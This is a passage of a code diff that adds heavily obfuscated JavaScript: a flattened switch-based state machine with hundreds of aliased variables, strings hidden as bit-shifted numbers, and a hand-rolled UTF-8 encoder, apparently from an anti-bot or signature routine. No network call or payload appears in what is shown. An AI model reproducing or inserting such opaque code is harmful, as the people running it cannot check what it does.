+ _$gc = _$gc.p(_$hc); + _$pe -= 97; + break; + case 105: + _$It = 0; + _$At = false; + _$pe -= 76; + break; + case 106: + _$St = []; + _$pe -= 23; + break; + case 107: + _$St[4] = _$mt - _$St[5]; + _$pe -= 81; + break; + case 108: + _$hc = _$gc; + _$pe -= 58; + break; + case 109: + _$Fe = _$Je; + _$pe -= 8; + break; + case 110: + _$Tt = _$BC; + _$pe -= 73; + break; + case 111: + _$mt = _$mt - _$St[6]; + _$pe -= 106; + break; + case 112: + for (_$jt = 0; _$jt < _$mf.length; _$jt++) { + _$ue = _$Tt; + _$Qe = _$mf; + _$We = _$jt; + _$Ye = _$Qe[_$We]; + _$Ue = 10; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Tt = _$Ge + } + _$pe -= 95; + break; + case 113: + for (_$Ct = 0, + _$Dt = _$Jv.length; _$Ct < _$Dt; _$Ct++) { + _$ue = _$$v; + _$Qe = _$LC; + _$We = _$Jv; + _$Ye = _$OC; + _$Ue = _$Ct; + _$Oe = _$We[_$Ye](_$Ue); + _$ue[_$Qe](_$Oe) + } + _$pe -= 16; + break; + case 114: + _$Kt = _$JW; + _$pe -= 15; + break + } + } + } + function _$SU(_$cs, _$vs, _$ss, _$ns, _$fs) { + var _$ts = _$Wj; + var _$is = _$rs; + var _$os = _$es; + var _$ks = _$Bi; + var _$bs = _$hQ; + var _$ls = _$jj; + var _$hs = _$as; + var _$gs = _$$v; + var _$us = _$Db; + var _$ps = _$Xi; + var _$ys = _$Uj; + var _$ws = _$Jv; + var _$ds = _$Fv; + var _$Ms = _$my; + var _$Is = _$rm; + var _$Ss = _$lQ; + var _$ms = _$Xv; + var _$Ts = _$Bv; + var _$js = _$gm; + var _$Cs = _$pm; + var _$Ds = _$xv; + var _$Ks = _$Hv; + var _$Qs = _$qv; + var _$Ws = _$Vv; + var _$Ys = _$Lv; + var _$Us = _$_v; + var _$Os = _$Rv; + var _$Ps = _$CC; + var _$Ns = _$Ev; + var _$Zs = _$qD; + var _$Es = _$Jj; + var _$Rs = _$zv; + var _$_s = _$Zv; + var _$qs = _$Nv; + var _$Hs = _$Gv; + var _$xs = _$LD; + var _$Bs = _$mj; + var _$Fs = _$Ls; + var _$en = _$Pv; + var _$rn = _$dQ; + var _$cn = _$Ov; + var _$vn = _$Uv; + var _$sn = _$Yv; + var _$nn = _$Wv; + var _$fn = _$Qv; + var _$tn = _$Ry; + var _$in = _$_y; + var _$on = _$wA; + var _$kn = _$RM; + var _$bn = _$Kv; + var _$ln = _$Dv; + var _$hn = _$Cv; + var _$gn = _$Gs; + var _$un = _$CT; + var _$pn = _$jv; + var _$yn = _$Tv; + var _$wn = _$mv; + var _$dn = _$Zw; + var _$Mn = _$Sv; + var _$In = _$Av; + var _$An = _$Iv; + var _$Sn = _$Mv; + var _$mn = _$bT; + var _$Tn = _$yT; + var _$jn = _$dv; + var _$Cn = _$wv; + var _$Dn = _$yv; + var _$Kn = _$pv; + var _$Qn = _$uv; + var _$Wn = _$gv; + var _$Yn = _$hv; + var _$Un = _$lv; + var _$On = _$bv; + var _$Pn = _$kv; + var _$Gn = _$ov; + var _$Nn = _$iv; + var _$Zn = _$tv; + var _$zn = _$fv; + var _$En = _$nv; + var _$Rn = _$sv; + var _$_n = _$vv; + var _$Ln = _$cv; + var _$Vn = _$rv; + var _$qn = _$ev; + var _$Hn = _$av; + var _$xn = _$$c; + var _$Bn = _$Jc; + var _$Xn = _$Fc; + var _$Fn = _$Xc; + var _$Jn = _$Bc; + var _$$n = _$xc; + var _$af = _$Hc; + var _$ef = _$qc; + var _$rf = _$Vc; + var _$cf = _$Lc; + var _$vf = _$Ed; + var _$sf = _$zd; + var _$nf = _$_c; + var _$ff = _$Rc; + var _$tf = _$Ec; + var _$if = _$zc; + var _$of = _$Zc; + var _$kf = _$Nc; + var _$bf = _$Gc; + var _$lf = _$Pc; + var _$hf = _$Oc; + var _$gf = _$ak; + var _$uf = _$Xw; + var _$pf = _$Fw; + var _$yf = _$fM; + var _$wf = _$Uc; + var _$df = _$Yc; + var _$Mf = _$yu; + var _$If = _$Wc; + var _$Af = _$kg; + var _$Sf = _$Qc; + var _$mf = _$Kc; + var _$Tf = _$Dc; + var _$jf = _$Cc; + var _$Cf = _$jc; + var _$Df = _$Tc; + var _$Kf = _$zj; + var _$Qf = _$MK; + var _$Wf = _$uj; + var _$Yf = _$uK; + var _$Uf = _$lj; + var _$Of = _$mc; + var _$Pf = _$Sc; + var _$Gf = _$Ac; + var _$Nf = _$Ic; + var _$Zf = _$VS; + var _$zf = _$HS; + var _$Ef = _$qS; + var _$Rf = _$tM; + var _$_f = _$Jw; + var _$Lf = _$Mc; + var _$Vf = _$aM; + var _$qf = _$dc; + var _$Hf = _$pj; + var _$xf = _$Mj; + var _$Bf = _$wc; + var _$Xf = _$sK; + var _$Ff = _$yc; + var _$Jf = _$pc; + var _$$f = _$uc; + var _$at = _$gc; + var _$et = _$hc; + var _$rt = _$lc; + var _$ct = _$bc; + var _$vt = _$kc; + var _$st = _$oc; + var _$nt = _$ic; + var _$ft = _$tc; + var _$tt = _$fc; + var _$it = _$nc; + var _$ot = _$sc; + var _$kt = _$vc; + var _$bt = _$cc; + var _$lt = _$rc; + var _$ht = _$ec; + var _$gt = _$ac; + var _$ut = _$$r; + var _$pt = _$Jr; + var _$yt = _$Fr; + var _$wt = _$Xr; + var _$dt = _$Br; + var _$Mt = _$xr; + var _$It = _$Hr; + var _$At = _$qr; + var _$St = _$Vr; + var _$mt = _$Lr; + var _$Tt = _$_r; + var _$jt = _$Rr; + var _$Ct = _$Er; + var _$Dt = _$zr; + var _$Kt = _$Zr; + var _$Qt = _$Nr; + var _$Wt = _$Gr; + var _$Yt = _$Pr; + var _$Ut = _$Or; + var _$Ot = _$Ur; + var _$Pt = _$Yr; + var _$Gt = _$Wr; + var _$Nt = _$Qr; + var _$Zt = _$Kr; + var _$zt = _$Dr; + var _$Et = _$Vu; + var _$Rt = _$PA; + var _$_t = _$Cr; + var _$Lt = _$tm; + var _$Vt = _$jr; + var _$qt = _$Jp; + var _$Ht = _$Qj; + var _$xt = _$mA; + var _$Bt = _$Tr; + var _$Xt = _$Vs; + var _$Ft = _$ei; + var _$Jt = _$mr; + var _$$t = _$Qb; + var _$ai = _$wm; + var _$ri = _$Sr; + var _$ci = _$Dy; + var _$vi = _$BT; + var _$si = _$Ar; + var _$ni = _$Ir; + var _$fi = _$DT; + var _$ti = _$Mr; + var _$ii = _$dr; + var _$oi = _$wr; + var _$ki = _$yr; + var _$bi = _$fj; + var _$li = _$pr; + var _$hi = _$OT; + var _$gi = _$ur; + var _$ui = _$gr; + var _$pi = _$hr; + var _$yi = _$lr; + var _$wi = _$br; + var _$di = _$kr; + var _$Mi = _$oj; + var _$Ii = _$or; + var _$Ai = _$RT; + var _$Si = _$ir; + var _$mi = _$tr; + var _$Ti = _$fr; + var _$ji = _$nr; + var _$Ci = _$sr; + var _$Di = _$vr; + var _$Ki = _$cr; + var _$Qi = _$rr; + var _$Wi = _$er; + var _$Yi = _$ar; + var _$Ui = _$$e; + var _$Oi = _$Je; + var _$Pi = _$HT; + var _$Gi = _$Fe; + var _$Ni = _$Xe; + var _$Zi = _$JT; + var _$zi = _$Be; + var _$Ei = _$xe; + var _$Ri = _$He; + var _$_i = _$qe; + var _$Li = _$Ve; + var _$Vi = _$iA; + var _$qi = _$zs; + var _$Hi = _$kA; + var _$xi = _$Pj; + var _$Fi = _$Le; + var _$Ji = _$$g; + var _$$i = _$Nj; + var _$ao = _$_e; + var _$eo = _$Re; + var _$ro = _$Ee; + var _$co = _$ze; + var _$vo = _$Ze; + var _$so = _$Ne; + var _$no = _$Ge; + var _$fo = _$Pe; + var _$to = _$Oe; + var _$io = _$Ue; + var _$oo = _$Ye; + var _$ko = _$We; + var _$bo = _$Qe; + var _$lo = _$$o; + var _$ho = _$yj; + var _$go = _$Ke; + var _$uo = _$yC; + var _$po = _$kd; + var _$yo = _$Jd; + var _$wo = _$De; + var _$do = _$As; + var _$Mo = _$Ce; + var _$Io = _$je; + var _$Ao = _$kw; + var _$So = _$Te; + var _$mo = _$hw; + var _$jo = _$me; + var _$Do = _$jb; + var _$Ko = _$Se; + var _$Qo = _$Kj; + var _$Wo = _$ny; + var _$Yo = _$$j; + var _$Uo = _$vC; + var _$Oo = _$Ub; + var _$Po = _$im; + var _$Go = _$Yb; + var _$No = _$Cb; + var _$Zo = _$Ae; + var _$zo = _$fC; + var _$Eo = _$Bj; + var _$Ro = _$rC; + var _$_o = _$Am; + var _$Lo = _$Ie; + var _$Vo = _$Xj; + var _$qo = _$$p; + var _$Ho = _$Xs; + var _$xo = _$Me; + var _$Bo = _$de; + var _$Xo = _$we; + var _$Fo = _$ye; + var _$Jo = _$pe; + var _$ek = _$ue; + var _$vk = _$KA; + var _$sk = _$DA; + var _$nk = _$Pb; + var _$fk = _$SQ; + var _$tk = _$ge; + var _$ik = _$$D; + var _$ok = _$he; + var _$kk = _$le; + var _$bk = _$em; + var _$lk = _$MQ; + var _$hk = _$be; + var _$gk = _$vm; + var _$uk = _$ke; + var _$pk = _$ey; + var _$yk = _$km; + var _$wk = _$vy; + var _$dk = _$mQ; + var _$Mk = _$oe; + var _$Ik = _$Ob; + var _$Ak = _$EQ; + var _$Sk = _$ie; + var _$mk = _$te; + var _$Tk = _$_Q; + var _$jk = _$KQ; + var _$Ck = _$am; + var _$Dk = _$Ty; + var _$Kk = _$CQ; + var _$Qk = _$fe; + var _$Wk = _$DQ; + var _$Yk = _$an; + var _$Uk = _$ne; + var _$Ok = _$Js; + var _$Pk = _$lm; + var _$Gk = _$se; + var _$Nk = _$Mm; + var _$Zk = _$$s; + var _$zk = _$GQ; + var _$Ek = _$dj; + var _$Rk = _$pK; + var _$_k = _$fw; + var _$Lk = _$dK; + var _$Vk = _$wK; + var _$qk = _$yK; + var _$Hk = _$Ey; + var _$xk = _$ve; + var _$Bk = _$ce; + var _$Xk = _$re; + var _$Fk = _$tg; + var _$Jk = _$gA; + var _$$k = _$ee; + var _$ab = _$XS; + var _$eb = _$FS; + var _$rb = _$mC; + var _$cb = _$SC; + var _$vb = _$BS; + var _$sb = _$xS; + var _$nb = _$ae; + var _$fb = _$$a; + var _$tb = _$Mw; + var _$ib = _$Ja; + var _$ob = _$Fa; + var _$kb = _$Xa; + var _$bb = _$Ba; + var _$lb = _$xa; + var _$hb = _$Ha; + var _$gb = _$qa; + var _$ub = _$Va; + var _$pb = _$La; + var _$yb = _$_a; + var _$wb = _$Ra; + var _$db = _$Ea; + var _$Mb = _$za; + var _$Ib = _$Za; + var _$Ab = _$Na; + var _$Sb = _$Ga; + var _$mb = _$Pa; + var _$Tb = _$Oa; + var _$Kb = _$Ua; + var _$Wb = _$Ya; + var _$Gb = _$Wa; + var _$Nb = _$Qa; + var _$Zb = _$Ka; + var _$zb = _$Da; + var _$Eb = _$Ca; + var _$Rb = _$ja; + var _$_b = _$Ta; + var _$Lb = _$hT; + var _$Vb = _$ma; + var _$qb = _$Sa; + var _$Hb = _$Aa; + var _$xb = _$Ia; + var _$Bb = _$Ma; + var _$Xb = _$da; + var _$Fb = _$wa; + var _$Jb = _$ya; + var _$$b = _$pa; + var _$al = _$ua; + var _$el, _$rl, _$cl, _$vl, _$sl, _$nl, _$fl, _$tl, _$il, _$ol, _$kl, _$bl, _$ll, _$hl, _$gl, _$ul, _$pl, _$yl, _$wl, _$dl, _$Ml, _$Il, _$Al, _$Sl, _$ml, _$Tl, _$jl, _$Cl, _$Dl, _$Kl, _$Ql, _$Wl, _$Yl, _$Ul, _$Ol, _$Pl, _$Gl, _$Nl, _$Zl, _$zl, _$El, _$Rl, _$_l, _$Ll, _$Vl, _$ql, _$Hl, _$xl, _$Bl, _$Xl, _$Fl, _$Jl, _$$l, _$ah, _$eh, _$rh, _$ch, _$vh, _$sh, _$nh, _$fh, _$th, _$ih, _$oh, _$kh, _$bh, _$lh, _$hh, _$gh, _$uh, _$ph, _$yh, _$wh, _$dh, _$Mh, _$Ih, _$Ah, _$Sh, _$mh, _$Th, _$jh, _$Ch, _$Dh, _$Kh, _$Qh, _$Wh, _$Yh, _$Uh, _$Oh, _$Ph, _$Gh, _$Nh, _$Zh, _$zh, _$Eh, _$Rh, _$_h, _$Lh, _$Vh, _$qh, _$Hh, _$xh, _$Bh, _$Xh, _$Fh, _$Jh, _$$h, _$ag, _$eg, _$rg, _$cg, _$vg, _$sg, _$ng, _$fg, _$ig, _$og, _$bg, _$lg, _$hg, _$gg, _$ug, _$pg, _$yg, _$wg, _$dg, _$Mg, _$Ig, _$Ag, _$Sg, _$mg, _$Tg, _$jg, _$Cg, _$Dg, _$Kg, _$Qg, _$Wg, _$Yg, _$Ug, _$Og, _$Pg, _$Gg, _$Ng, _$Zg, _$zg, _$Eg, _$_g, _$Lg, _$Vg, _$qg, _$Hg, _$Bg, _$Xg, _$Fg, _$Jg, _$au, _$eu, _$ru, _$cu, _$vu, _$su, _$fu, _$tu, _$iu, _$ou, _$ku, _$bu, _$lu, _$hu, _$gu, _$uu, _$pu, _$wu, _$du, _$Mu, _$Iu, _$Au, _$Su, _$mu, _$Tu, _$ju, _$Cu, _$Du, _$Ku, _$Qu, _$Wu, _$Yu, _$Uu, _$Pu, _$Gu, _$Nu, _$Zu, _$zu, _$Eu, _$Ru, _$_u, _$Lu, _$qu, _$Hu, _$xu, _$Xu, _$Fu, _$Ju, _$$u, _$ap, _$ep, _$rp, _$cp, _$vp, _$sp, _$np, _$fp, _$tp, _$ip, _$op, _$kp, _$bp, _$lp, _$hp, _$gp, _$up, _$pp, _$yp, _$wp, _$dp, _$Mp, _$Ip, _$Ap, _$Sp, _$mp, _$Tp, _$jp, _$Cp, _$Dp, _$Kp, _$Qp, _$Wp, _$Yp, _$Up, _$Op, _$Pp, _$Gp, _$Np, _$Zp, _$zp, _$Ep, _$Rp, _$_p, _$Lp, _$Vp, _$qp, _$Hp, _$xp, _$Bp, _$Xp, _$Fp, _$ay, _$ry, _$cy, _$sy, _$fy, _$ty, _$iy, _$oy, _$ky, _$by, _$ly, _$hy, _$gy, _$uy, _$py, _$yy, _$wy, _$dy, _$My, _$Iy, _$Ay, _$Sy, _$jy, _$Cy, _$Ky, _$Qy, _$Wy, _$Yy, _$Uy, _$Oy, _$Py, _$Gy, _$Ny, _$Zy, _$zy, _$Ly, _$Vy, _$qy, _$Hy, _$xy, _$By, _$Xy, _$Fy, _$Jy, _$$y, _$aw, _$ew, _$rw, _$cw, _$vw, _$sw, _$nw, _$tw, _$iw, _$ow, _$bw, _$lw, _$gw, _$uw, _$pw, _$yw, _$ww, _$dw, _$Iw, _$Aw, _$Sw, _$mw, _$Tw, _$jw, _$Cw, _$Dw, _$Kw, _$Qw, _$Ww, _$Yw, _$Uw, _$Ow, _$Pw, _$Gw, _$Nw, _$zw, _$Ew, _$Rw, _$_w, _$Lw, _$Vw, _$qw, _$Hw, _$xw, _$Bw, _$$w, _$ad, _$ed, _$rd, _$cd, _$vd, _$sd, _$nd, _$fd, _$td, _$id, _$od, _$bd, _$ld, _$hd, _$gd, _$ud, _$pd, _$yd, _$wd, _$dd, _$Md, _$Id, _$Ad, _$Sd, _$md, _$Td, _$jd, _$Cd, _$Dd, _$Kd, _$Qd, _$Wd, _$Yd, _$Ud, _$Od, _$Pd, _$Gd, _$Nd, _$Zd, _$Rd, _$_d, _$Ld, _$Vd, _$qd, _$Hd, _$xd, _$Bd, _$Xd, _$Fd, _$$d, _$eM, _$rM, _$cM, _$vM, _$sM, _$nM, _$iM, _$oM, _$kM, _$bM, _$lM, _$hM, _$gM, _$uM, _$pM, _$yM, _$wM, _$dM, _$MM, _$IM, _$AM, _$SM, _$mM, _$TM, _$jM, _$CM, _$DM, _$KM, _$QM, _$WM, _$YM, _$UM, _$OM, _$PM, _$GM, _$NM, _$ZM, _$zM, _$EM, _$_M, _$LM, _$VM, _$qM, _$HM, _$xM, _$BM, _$XM, _$FM, _$JM, _$$M, _$aI, _$eI, _$rI, _$cI, _$vI, _$sI, _$nI, _$fI, _$tI, _$iI, _$oI, _$kI, _$bI, _$lI, _$hI, _$gI, _$uI, _$pI, _$yI, _$wI, _$dI, _$MI, _$II, _$AI, _$SI, _$mI, _$TI, _$jI, _$CI, _$DI, _$KI, _$QI, _$WI, _$YI, _$UI, _$OI, _$PI, _$GI, _$NI, _$ZI, _$zI, _$EI, _$RI, _$_I, _$LI, _$VI, _$qI, _$HI, _$xI, _$BI, _$XI, _$FI, _$JI, _$$I, _$aA, _$eA, _$rA, _$cA, _$vA, _$sA, _$nA, _$fA, _$tA, _$oA, _$bA, _$lA, _$hA, _$uA, _$pA, _$yA, _$dA, _$MA, _$IA, _$AA, _$SA, _$TA, _$jA, _$CA, _$UA, _$OA, _$JS, _$$S, _$cm, _$sm, _$nm, _$fm, _$om, _$bm, _$hm, _$um, _$ym, _$dm, _$Im, _$Sm, _$mm, _$Tm, _$jm, _$Cm, _$Dm, _$Km, _$Qm, _$Wm, _$Ym, _$Um, _$Om, _$Pm, _$Gm, _$Nm, _$Zm, _$zm, _$Em, _$Rm, _$_m, _$Lm, _$Vm, _$qm, _$Hm, _$xm, _$Bm, _$Xm, _$Fm, _$Jm, _$$m, _$aT, _$eT, _$rT, _$cT, _$vT, _$sT, _$nT, _$fT, _$tT, _$iT, _$oT, _$kT, _$lT, _$gT, _$uT, _$pT, _$wT, _$dT, _$MT, _$IT, _$AT, _$ST, _$mT, _$TT, _$jT, _$KT, _$QT, _$WT, _$YT, _$UT, _$PT, _$GT, _$NT, _$ZT, _$zT, _$ET, _$_T, _$LT, _$VT, _$qT, _$xT, _$XT, _$FT, _$$T, _$aj, _$ej, _$rj, _$cj, _$vj, _$sj, _$nj, _$tj, _$ij, _$kj, _$bj, _$hj, _$gj, _$wj, _$Ij, _$Aj, _$Sj, _$Tj, _$Cj, _$Dj, _$Yj, _$Oj, _$Gj, _$Zj, _$Ej, _$Rj, _$_j, _$Lj, _$Vj, _$qj, _$Hj, _$xj, _$Fj, _$aC, _$eC, _$cC, _$sC, _$nC, _$tC, _$iC, _$oC, _$kC, _$bC, _$lC, _$hC, _$gC, _$uC, _$pC, _$wC, _$dC, _$MC, _$IC, _$AC, _$TC, _$jC, _$DC, _$KC, _$QC, _$WC, _$YC, _$UC, _$VC, _$qC, _$HC, _$xC, _$XC, _$FC, _$JC, _$$C, _$aD, _$eD, _$rD, _$cD, _$vD, _$sD, _$nD, _$fD, _$tD, _$iD, _$oD, _$kD, _$bD, _$lD, _$hD, _$gD, _$uD, _$pD, _$yD, _$wD, _$dD, _$MD, _$ID, _$AD, _$SD, _$mD, _$TD, _$jD, _$CD, _$DD, _$KD, _$QD, _$WD, _$YD, _$UD, _$OD, _$PD, _$GD, _$ND, _$ZD, _$zD, _$ED, _$RD, _$_D, _$VD, _$HD, _$xD, _$BD, _$XD, _$FD, _$JD, _$aK, _$eK, _$rK, _$cK, _$vK, _$nK, _$fK, _$tK, _$iK, _$oK, _$kK, _$bK, _$lK, _$hK, _$gK, _$IK, _$AK, _$SK, _$mK, _$TK, _$jK, _$CK, _$DK, _$QK, _$WK, _$YK, _$UK, _$OK, _$PK, _$GK, _$NK, _$ZK, _$zK, _$EK, _$RK, _$_K, _$LK, _$VK, _$qK, _$HK, _$xK, _$BK, _$XK, _$FK, _$JK, _$$K, _$aQ, _$eQ, _$rQ, _$cQ, _$vQ, _$sQ, _$nQ, _$fQ, _$tQ, _$iQ, _$oQ, _$kQ, _$bQ, _$gQ, _$uQ, _$pQ, _$yQ, _$wQ, _$IQ, _$AQ, _$TQ, _$jQ, _$QQ, _$WQ, _$YQ, _$UQ, _$OQ, _$PQ, _$NQ, _$ZQ, _$zQ, _$RQ, _$LQ, _$VQ, _$qQ, _$HQ, _$xQ, _$BQ, _$XQ; + while (!![]) { + switch (_$cs) { + case 1: + for (_$el = 0, + _$rl = _$MW.length; _$el < _$rl; ++_$el) { + _$cl = _$FW; + _$vl = _$LC; + _$sl = _$MW; + _$nl = _$el; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl) + } + _$cs += 151; + continue; + case 2: + _$Zg = _$Zg - _$Ng[6]; + _$cs += 185; + continue; + case 3: + _$jg = 1; + _$cs += 39; + continue; + case 4: + _$jg = _$Cg; + _$cs += 340; + continue; + case 5: + for (_$tl = 0, + _$il = _$Fj.length; _$tl < _$il; _$tl++) { + _$cl = _$Hj; + _$vl = _$LC; + _$sl = _$Fj; + _$nl = _$OC; + _$fl = _$tl; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs += 505; + continue; + case 6: + for (_$kl = 0, + _$bl = _$Bg.length; _$kl < _$bl; ++_$kl) { + _$cl = _$Hg; + _$vl = _$LC; + _$sl = _$Bg; + _$nl = _$kl; + _$fl = _$sl[_$nl]; + _$ol = _$ap; + _$ll = _$kl; + _$hl = _$ol[_$ll]; + _$gl = _$fl ^ _$hl; + _$cl[_$vl](_$gl) + } + _$cs += 358; + continue; + case 7: + _$Ng = _$Ng.p(_$Gg); + _$cs += 98; + continue; + case 8: + _$lg = _$lg.p(_$bg); + _$cs += 732; + continue; + case 9: + _$Ng = _$aj; + _$cs += 451; + continue; + case 10: + _$gd = _$gd.p(_$hd); + _$cs += 205; + continue; + case 11: + _$ul = _$Rp[_$Au]; + _$pl = _$Fu + _$KK + _$ul; + _$yl = _$BC; + _$wl = _$mb + _$Nb + _$ub + _$xb + _$$b + _$zb + _$Fb + _$Ab + _$Sb + _$Bb + _$kb + _$Eb + _$Gb + _$ib + _$Tb + _$_b + _$Hb + _$Mb + _$Vb + _$al + _$wb + _$bb + _$lb + _$qb + _$db + _$pb + _$Wb + _$Rb + _$Zb + _$Kb + _$Lb + _$hb + _$yb + _$Xb + _$gb + _$ob + _$Ib + _$Jb; + _$dl = _$bW(_$wl.d(0) - _$wl.length); + _$cs += 200; + continue; + case 12: + _$yl = _$BC; + _$cs += 462; + continue; + case 13: + _$Ml = []; + _$cs += 697; + continue; + case 14: + for (_$Il = 0, + _$Al = _$Ww.length; _$Il < _$Al; _$Il++) { + _$cl = _$cD; + _$vl = _$LC; + _$sl = _$Ww; + _$nl = _$OC; + _$fl = _$Il; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs += 585; + continue; + case 15: + _$Zg = _$Zg - _$Ng[2]; + _$cs += 559; + continue; + case 16: + _$Gg = Math[_$Eg](_$ss.length / 8); + _$cs += 545; + continue; + case 17: + for (_$Sl = 0; _$Sl < _$vA.length; _$Sl++) { + _$cl = _$Yp; + _$vl = _$vA; + _$sl = _$Sl; + _$nl = _$vl[_$sl]; + _$fl = 4; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Yp = _$hl + } + _$cs += 196; + continue; + case 18: + for (_$ml = _$Ch - 1, + _$Tl = _$jh.length; _$ml < _$Tl; ++_$ml) { + _$cl = _$jh; + _$vl = _$ml; + _$sl = _$cl[_$vl]; + _$jl = _$sl; + _$nl = 0; + _$Cl = _$nl; + _$fl = _$Kh; + _$ol = _$PC; + _$ll = _$fl[_$ol]; + _$Dl = _$ll; + while (_$Cl < _$Dl) { + _$cl = _$ga; + _$Kl = _$cl; + _$vl = 1; + _$Ql = _$vl; + _$cl = _$Ql; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Ql = _$sl; + _$cl = 1; + _$Kl = _$cl; + _$cl = _$BC; + _$Wl = _$cl; + _$cl = _$Ql; + _$Kl = _$cl; + _$cl = 1632; + _$vl = 1728; + _$sl = 1776; + _$nl = 1776; + _$fl = 1824; + _$ol = [_$cl, _$vl, _$sl, _$nl, _$fl]; + _$Ql = _$ol; + for (_$Yl = 0; _$Yl < _$Ql.length; _$Yl++) { + _$cl = _$Wl; + _$vl = _$Ql; + _$sl = _$Yl; + _$nl = _$vl[_$sl]; + _$fl = 4; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Wl = _$hl + } + _$cl = _$Ql; + _$vl = _$LC; + _$sl = _$Kl; + _$nl = _$cl[_$vl](_$sl); + _$Ql = _$nl; + _$cl = Math; + _$vl = _$Wl; + _$sl = _$Cl; + _$nl = _$Dl; + _$fl = _$sl + _$nl; + _$ol = 2; + _$ll = _$fl / _$ol; + _$hl = _$cl[_$vl](_$ll); + _$Ul = _$hl; + _$cl = _$Kh; + _$vl = _$Ul; + _$sl = _$cl[_$vl]; + _$nl = _$jl; + _$fl = _$sl < _$nl; + if (_$fl) { + _$cl = _$Ul; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Cl = _$sl + } else { + _$cl = _$Ul; + _$Dl = _$cl + } + } + _$cl = _$ha; + _$Ol = _$cl; + _$vl = 1; + _$Pl = _$vl; + _$cl = _$Pl; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Pl = _$sl; + _$cl = 1; + _$Ol = _$cl; + _$cl = _$BC; + _$Gl = _$cl; + _$cl = _$Pl; + _$Ol = _$cl; + _$cl = 29440; + _$vl = 28672; + _$sl = 27648; + _$nl = 26880; + _$fl = 25344; + _$ol = 25856; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$Pl = _$ll; + for (_$Nl = 0; _$Nl < _$Pl.length; _$Nl++) { + _$cl = _$Gl; + _$vl = _$Pl; + _$sl = _$Nl; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Gl = _$hl + } + _$cl = _$Pl; + _$vl = _$LC; + _$sl = _$Ol; + _$nl = _$cl[_$vl](_$sl); + _$Pl = _$nl; + _$cl = _$Kh; + _$vl = _$Gl; + _$sl = _$Cl; + _$nl = 0; + _$fl = _$jl; + _$cl[_$vl](_$sl, _$nl, _$fl); + _$cl = _$Dh; + if (_$cl) { + _$cl = _$Qh; + _$vl = _$LC; + _$sl = _$Kh; + _$nl = _$Ch; + _$fl = 1; + _$ol = _$nl - _$fl; + _$ll = 2; + _$hl = _$ol / _$ll; + _$gl = _$sl[_$hl]; + _$cl[_$vl](_$gl) + } else { + _$cl = _$Qh; + _$vl = _$LC; + _$sl = _$Kh; + _$nl = _$Ch; + _$fl = 2; + _$ol = _$nl / _$fl; + _$ll = _$sl[_$ol]; + _$hl = _$Kh; + _$gl = _$Ch; + _$Zl = 2; + _$zl = _$gl / _$Zl; + _$El = 1; + _$Rl = _$zl - _$El; + _$_l = _$hl[_$Rl]; + _$Ll = _$ll + _$_l; + _$Vl = 2; + _$ql = _$Ll / _$Vl; + _$cl[_$vl](_$ql) + } + _$cl = 0; + _$Hl = _$cl; + _$vl = _$Kh; + _$sl = _$PC; + _$nl = _$vl[_$sl]; + _$fl = 1; + _$ol = _$nl - _$fl; + _$xl = _$ol; + while (_$Hl < _$xl) { + _$cl = _$nb + _$fb + _$tb; + _$ch = _$cl; + _$cl = _$ch; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$Bl = _$sl; + _$cl = []; + _$vh = _$cl; + for (_$sh = 0; _$sh < _$Bl; _$sh++) { + _$cl = _$ch; + _$vl = _$OC; + _$sl = _$sh; + _$nl = _$cl[_$vl](_$sl); + _$Xl = _$nl; + _$cl = _$Xl; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$Xl; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$Xl; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$Xl; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vh; + _$vl = _$LC; + _$sl = _$Xl; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$Xl; + _$vl = 128; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$Xl; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$vh; + _$vl = _$LC; + _$sl = 